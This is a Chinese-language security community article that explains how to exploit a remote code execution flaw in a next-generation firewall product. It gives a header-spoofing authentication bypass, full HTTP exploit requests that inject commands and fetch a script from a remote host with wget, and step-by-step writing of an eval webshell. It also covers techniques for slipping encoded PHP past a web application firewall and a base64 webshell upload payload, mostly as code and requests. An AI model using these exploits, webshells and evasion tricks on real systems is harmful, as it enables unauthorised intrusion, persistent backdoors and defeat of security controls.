Goby社区第 34 篇技术分享文章
全文共:7723 字 预计阅读时间:18 分钟
01 概述
最近,某下一代防火墙曝光了远程代码执行漏洞。此漏洞通过绕过身份认证和注入 cookie 的方式来执行系统命令,公开的利用方式受到诸多限制且命令执行无回显,并且当目标机器不出网时,该漏洞利用方式便无法发挥作用,因此无法满足实际攻防场景的需求。
本文我们将分享绕过命令执行的安全防护机制,并实现命令执行回显、反弹shell、自定义上传webshell等利用效果的方法。
02 漏洞分析
RewriteRule 规则会将所有非特定扩展名的请求重写到 index.php 文件,从而将 URL 解析交给 index.php 来处理。
`AllowOverride None``RewriteEngine on``RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)``RewriteRule .* - [F]``RewriteBase /``RewriteRule !\.(js|gif|jpg|jpeg|png|css|pdf|ico|htm|html|htc|zip|crt|txt)$ index.php``RewriteRule \.(php)$ index.php`
dispatchRequest() 函数会判断用户的IP地址,当传入的地址为 127.0.0.1 时,则会绕过下方的 if 判断,即不会被重定向到 LogInOut.php 页面,这样就绕过了身份验证的限制。因此,当我们把 IP 设定为 127.0.0.1 时,便可以绕过安全检查。
`public function dispatchRequest()``{` `$t_objController = $this->getControllerInstance();` `if($t_objController) {` `//是否需要判断跨站攻击,一般登录页面不需要判断跨站攻击` `if ($_SERVER['REMOTE_ADDR'] === '127.0.0.1')` `$t_boolNeedCheck = false;` `else` `$t_boolNeedCheck = true;` `if(isset($t_objController->m_boolNeedCheck))` `$t_boolNeedCheck = $t_objController->m_boolNeedCheck;` `//防止跨站攻击` `if($this->isAuthUser() && strcmp($_SERVER['REMOTE_ADDR'],"127.0.0.2") != 0 && !isset($_REQUEST['scinfo']) && !isset($_REQUEST['sd_t']) && (!isset($_GET['sid']) || $_GET['sid'] != session_id()) && $t_boolNeedCheck)` `{` `//要设置t_boolNeedCheck = false,要不会有重定向死循环` `CMiscFunc::locationHref('/Redirect.php?url=/LogInOut.php');` `exit(0);` `}` `$t_fStartTime = $this->costMicroTime();` `$t_strResult = $t_objController->action($this->m_objConf, $this->m_arrReturn);` `$t_fEndTime = $this->costMicroTime();` `$t_fTotal = $t_fEndTime - $t_fStartTime;` `CMiscFunc::printMsg($t_fTotal);` `return true;` `}` `CMiscFunc::locationHref('/Redirect.php?url=/LogInOut.php');` `return false;` `}`
在 /etc/apache/conf.new/original/httpd.conf 配置文件中,定义了 RPAFheader 模块。此模块用于在代理服务器后面识别客户端的真实 IP 地址。通过配置 RPAFheader 模块,可以让 Apache 在处理请求时使用代理服务器发送的请求报头中的特定字段作为客户端的IP地址,而不是默认使用代理服务器的IP地址。
结合上述的身份验证逻辑,我们可以将请求头设置为 Y-Forwarded-For: 127.0.0.1来绕过访问限制。
在 CFWLogInOutDAO.php 文件的 remoteLogin 方法中接收了前端传入的用户名和密码。使用 RSA 解密后,将用户名和密码传递给远程登录命令。通过远程登录命令返回登录结果,成功登录后,根据修改后的用户名从数据库中查询用户信息,并将结果存入session中。
代码中使用 popen 函数执行远程登录命令。但由于远程登录命令参数未经过严格的参数校验,所以导致了命令执行注入点的存在。
`public function remoteLogin(&$in_arrSearchCondition)``{``$userName = $in_arrSearchCondition ['user_name'];``$passwd = $in_arrSearchCondition ['password'];` `//rsa的解密``$t_strMD5 = $this->decrypt($passwd);``$fp = popen("/usr/sbin/remoteLogin remoteLogin $userName $t_strMD5", "r");``$retResult = fread($fp, 20);``pclose($fp);``if ($retResult == "retLoginSuccess") {``$in_arrSearchCondition ['user_name'] = $userName."_remote_";``$t_strUserName = addslashes($in_arrSearchCondition ['user_name']);``$t_strSQL = "SELECT * FROM FW_AUTH_dcuser.UserAuthInfo WHERE user_name = '$t_strUserName' AND status = 1 LIMIT 1";``return $this->setSession($t_strSQL);``}``return false;` `}`
利用该漏洞点,我们可以进行命令注入。
`POST /LogInOut.php HTTP/1.1``Host:``Cookie: PHPSESSID=2e01d2ji93utnsb5abrcm780c2``Content-Type: application/x-www-form-urlencoded; charset=UTF-8``Connection: close``Content-Length: 625`` `` ``type=logged&un=watchTowr;wget http://<host>/cmd.txt;source /virus/dcweb/webapps/cmd.txt&up=0f2df0a6f151e836c8ccd1c2ea3bfbdfb7bfa0d38d438942492bd8f28f3e92939319f932f2f2add6d0d484accdc4c28269b203c4dc77c1da941fa19dae017d44d6ea8cad2572e37c485a8ebcb4bdb510cc86420a50ae45ae07daf5fe9c40fe133f3806cd8f3158ee359766e8e19c9fbbf7e888bf0d7f3952f4d083bd17cd19eb960dadec2835f6f259616f5b2e5942d3a4d1754cbd69696fae60ef18358bf5782dd5ebf377f5642e0583e630660ccac241a615ae21bfc12852a32d0367a899eb010e5d1c33669fc2e9ea3a0ecbf078c22120196a115b4038288063bf99610d3d331acb53e5c8fbd14229a4abdff83cf075a7b97a9bb9dae3586f19256f4262d5&vericode=<correct captcha>`
除此之外,还存在第二个命令注入点。但因为取值自 cookie,因此无法用注入分号来截断命令,也无法进行URL 编码。但可以使用反引号来达成命令执行的效果。
`POST /cgi-bin/login.cgi HTTP/1.1``Host:` ``Cookie: PHPSESSID=`$(wget host)`;```Content-Type: Application/X-www-Form``Connection: close`` `` ` `{"opr":"login", "data":{"user": "watchTowr" , "pwd": "watchTowr" , "vericode": "EINW" , "privacy_enable": "0"}}`
03 深入利用
上述命令执行漏洞的利用方式存在无回显的问题,公开的利用方式是通过使用 wget下载恶意文件来执行命令并获取结果,当目标机器不出网时,该漏洞利用方式便无法发挥作用。因此,本章将详细介绍如何巧妙地利用漏洞点,在命令执行受限且不出网的情况下,成功执行任意命令的方法。
文件写入并执行 webshell 的方式可以绕过命令执行的限制并解决不出网的问题。
经过测试,命令执行写入文件的过程中会有如下限制:
`1. 无法注入分号截断命令```2. 无法使用 `|| &&` 等特殊符号````3. 想要通过 echo 写入文件时,`>>` 追加写入的方式,不可以,`> `会被截断```4. 较长的 PHP 代码部分,都无法被传入,无法正常解析,需要分段截取写入``5. 传入命令时,需要对特殊字符进行 url 编码`
绕过思路:由于无法用追加的方式写入到一个 php 文件内,所以将 php 的代码截断,分别写入到不同的 txt 内,最后再将这些文件的内容读取,写到 php 文件内。先写入一个小马,之后在这个小马的基础上,实现更复杂的功能。
<?php eval($_POST["pass"])?>
`echo -e -n \"<?php \" > /fwlib/sys/virus/webui/svpn_html/1.txt`` ``echo -e -n \"eval\" > /fwlib/sys/virus/webui/svpn_html/2.txt`` ``echo -e -n '($_POST[\"pass' > /fwlib/sys/virus/webui/svpn_html/3.txt`` ``echo -e -n '\"])' > /fwlib/sys/virus/webui/svpn_html/4.txt`` ``echo -e -n \" ?>\" > /fwlib/sys/virus/webui/svpn_html/5.txt`` ``cat /fwlib/sys/virus/webui/svpn_html/1.txt /fwlib/sys/virus/webui/svpn_html/2.txt /fwlib/sys/virus/webui/svpn_html/3.txt /fwlib/sys/virus/webui/svpn_html/4.txt /fwlib/sys/virus/webui/svpn_html/5.txt> /fwlib/sys/virus/webui/svpn_html/xxx.php`
执行系统命令,并获得回显。
这样的方式执行系统命令会有很多的限制,当执行类似 echo "hello" > 1.php 这样的长命令时,会对一些特殊字符进行过滤拦截。因此这种方式虽然能够解决不出网的问题,但并不能完全绕过命令执行的限制。
上文提到的代码执行过程中,会对特殊字符进行过滤,因此在传输过程中需要对 php 代码进行编码。但当执行一些特殊的 php 函数,以及外部连接的流量有恶意特征时,则会被安全防护设备检测并拦截。下文将详细介绍如何绕过安全防护措施,并成功执行任意的 PHP 代码。
(1) base64 编码
为了绕过防御机制,我们对 PHP 代码进行了 Base64 编码。在正向调用 PHP 的 Base64 函数时,防御机制会对其进行拦截,导致无法成功发送数据包。这里,我们通过方法传参的思路绕过了防御机制。
echo system($_POST[1]("cHdk"));&1=base64_decode
(2) 防护限制
1. 在进行 Base64 编码时,如果包含 "+" 号,发送数据包后可能会导致解析错误的问题。为了修复这个问题,我们需要对整个 Base64 编码部分进行额外的 URL 编码处理,以确保数据的正确解析。
url.QueryEscape(base64Encode(cmd))
2. 当发送的命令太短(小于三位),导致 base64 长度很短时,也会面临发送失败的问题。这时可以利用命令的替换来绕过。
`ls`` echo ls | sh`
3. 网络应用防火墙(WAF)采用了一些策略来对等号(=)进行限制。例如,在对数据进行 Base64 编码后,如果编码结果的结尾包含一个或两个等号,那么发包的尝试就会失败。然而,我们可以通过在等号后面添加空格来绕过这个限制。这种方法并不会影响 Base64 编码结果的正确性。可能是为了防止赋值操作中使用的字符串(例如 $a="b" ),WAF设置了这样的规则。
4. 利用 http 头来进行传参。经过实际测试,这种利用方式会对 header 头字段值的长度进行限制。
echo system($_POST[1]($_SERVER["HTTP_CMD"]));&1=base64_decode
5. 嵌套多层 $_POST
既然直接传入有限制,那就通过改变写法的方式绕过,自行传参进去。
echo system($_POST[1]($_POST[2]));&1=base64_decode&2=bHMgLw==
6. 利用 hex2bin
和 base64 一个思路,就是通过编码来绕过它的防护机制。它有一定的版本限制,PHP 5 >= 5.4.0, PHP 7, PHP 8(sangfor 的这个产品不支持,它的版本在5.3.2)。
`echo system(hex2bin($_POST["command"])); // 普通写法``echo system($_POST[1]("command"));&1=hex2bin // 绕过写法`
(3)流量检测绕过
webshell 管理工具连接过程中的两个问题:
1. 传统 webshell 管理工具有特征值,会被安全防护设备拦截,所以需要修改特征值。
在此次攻击的绕过,需要修改 webshell 木马的默认连接密码、密钥 key、默认请求头
2. 连接的过程中,实际上 webshell 工具也要发包过去,所以,根据此次漏洞的漏洞点,还需要修改管理工具的请求头,要加上一行
Y-Forwarded-For: 127.0.0.1
另外,在传 webshell 上去的时候,因为要额外控制更多的参数、传入的内容,传入的名称。所以需要更多的变量,有两个需要注意的点:
1. 执行的函数更复杂,所以需要更多的传参点
`file_put_contents($_POST[filename],base64_decode($_POST[content])); // 正向写法` `pass= $_POST[1]($_POST[2],$_POST[3]($_POST[4]));&1=file_put_contents&2=filename.php&3=base64_decode&4=PD9waHAKQHNlc3Npb25fc3RhcnQoKTsKQHNldF90aW1lX2xpbWl0KDApOwpAZXJyb3JfcmVwb3J0aW5nKDApOwpmdW5jdGlvbiBlbmNvZGUoJEQsJEspewogICAgZm9yKCRpPTA7JGk8c3RybGVuKCREKTskaSsrKSB7CiAgICAgICAgJGMgPSAkS1skaSsxJjE1XTsKICAgICAgICAkRFskaV0gPSGF5bG9hZCk7CiAgICAgICAgZWNoAgIGVjaG8gc3Vic3RyKG1kNSgkcGFzcy4ka2V5KSwxNik7CiAgICB9ZWxzZXsKICAgICAgICBpZiAoc3RycG9zKCRkYXRhLCJnZXRCYXNpY3NJbmZvIikhPT1mYWxzZSl7CiAgICAgICAgICAgICRfU0VTU0lPTlskcGF5bG9hZE5hbWVdPWVuY29kZSgkZGF0YSwka2V5KTsKICAgICAgICB9CiAgICB9Cn0K` `// 绕过写法`
2. 必须要在木马传参点 pass= 的后面加一个空格进行传参。
04 总结
在本文中,我们对某下一代防火墙的命令执行漏洞进行了分析,并发现了命令执行无回显等限制。为了绕过这些限制,我们采用了写入木马和特殊编码的方法。同时,我们也发现该系统存在其他安全防护机制。经过深入的分析和研究,我们最终成功绕过了这些安全机制,并实现了命令执行、反弹shell 以及webshell 上传的功能。希望在阅读本篇文章后,能为大家带来一些新思路的启发。
05 参考
https://gryffinbit.top/20221226/godzilla\_v4.0/
https://www.freebuf.com/articles/web/330736.html
最新 Goby 使用技巧分享**:**
• kv2 | 死磕RDP协议,从截图和爆破说起
• 14m3ta7k | 死磕Jenkins漏洞回显与利用效果
• M1sery | Adobe ColdFusion 序列化漏洞(CVE-2023-29300)
• M1sery | Adobe ColdFusion WDDX 序列化漏洞利用
• TonyD0g | 跨越语言的艺术:Flask Session 伪造
• kv2 | 针对蜜罐反制Goby背后的故事
更多 >> 技术分享
Goby 欢迎表哥/表姐们加入我们的社区大家庭,一起交流技术、生活趣事、奇闻八卦,结交无数白帽好友。
也欢迎投稿到 Goby(Goby 介绍/扫描/口令爆破/漏洞利用/插件开发/ PoC 编写/ IP 库使用场景/ Webshell /漏洞分析 等文章均可),审核通过后可奖励 Goby 红队版,快来加入微信群体验吧~~~
微信群:公众号发暗号“加群”,参与积分商城、抽奖等众多有趣的活动